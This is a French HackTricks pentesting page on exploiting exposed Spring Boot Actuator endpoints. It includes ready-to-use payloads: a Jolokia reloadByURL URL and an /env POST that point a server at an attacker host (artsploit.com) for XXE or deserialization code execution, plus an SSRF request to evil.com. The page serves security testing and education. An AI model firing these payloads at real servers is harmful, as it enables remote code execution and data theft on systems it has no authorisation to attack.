Spring Actuators

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Bypass d'authentification Spring

Provenance https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Exploitation des Actuators Spring Boot

Consultez le post original sur [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Points Clés :

  • Les Actuators Spring Boot enregistrent des points de terminaison tels que /health, /trace, /beans, /env, etc. Dans les versions 1 à 1.4, ces points de terminaison sont accessibles sans authentification. À partir de la version 1.5, seuls /health et /info sont non sensibles par défaut, mais les développeurs désactivent souvent cette sécurité.
  • Certains points de terminaison des Actuators peuvent exposer des données sensibles ou permettre des actions nuisibles :
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, et /heapdump.
  • Dans Spring Boot 1.x, les actuators sont enregistrés sous l'URL racine, tandis que dans 2.x, ils se trouvent sous le chemin de base /actuator/.

Techniques d'Exploitation :

  1. Exécution de Code à Distance via '/jolokia' :
  • Le point de terminaison de l'actuator /jolokia expose la bibliothèque Jolokia, qui permet un accès HTTP aux MBeans.
  • L'action reloadByURL peut être exploitée pour recharger les configurations de journalisation à partir d'une URL externe, ce qui peut conduire à un XXE aveugle ou à une Exécution de Code à Distance via des configurations XML élaborées.
  • URL d'exploit exemple : http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Modification de Configuration via '/env' :
  • Si les bibliothèques Spring Cloud sont présentes, le point de terminaison /env permet de modifier les propriétés environnementales.
  • Les propriétés peuvent être manipulées pour exploiter des vulnérabilités, telles que la vulnérabilité de désérialisation XStream dans le serviceURL Eureka.
  • Exemple de requête POST d'exploit :
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Autres Paramètres Utiles :
  • Des propriétés comme spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, et spring.datasource.tomcat.max-active peuvent être manipulées pour divers exploits, tels que l'injection SQL ou la modification des chaînes de connexion à la base de données.

Informations Supplémentaires :

  • Une liste complète des actuators par défaut peut être trouvée ici.
  • Le point de terminaison /env dans Spring Boot 2.x utilise le format JSON pour la modification des propriétés, mais le concept général reste le même.

Sujets Connexes :

  1. Env + H2 RCE :
  • Les détails sur l'exploitation de la combinaison du point de terminaison /env et de la base de données H2 peuvent être trouvés ici.
  1. SSRF sur Spring Boot par une Interprétation Incorrecte des Noms de Chemin :
  • La gestion des paramètres de matrice (;) par le framework Spring dans les noms de chemin HTTP peut être exploitée pour une Contre-attaque de Requête Côté Serveur (SSRF).
  • Exemple de requête d'exploit :
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks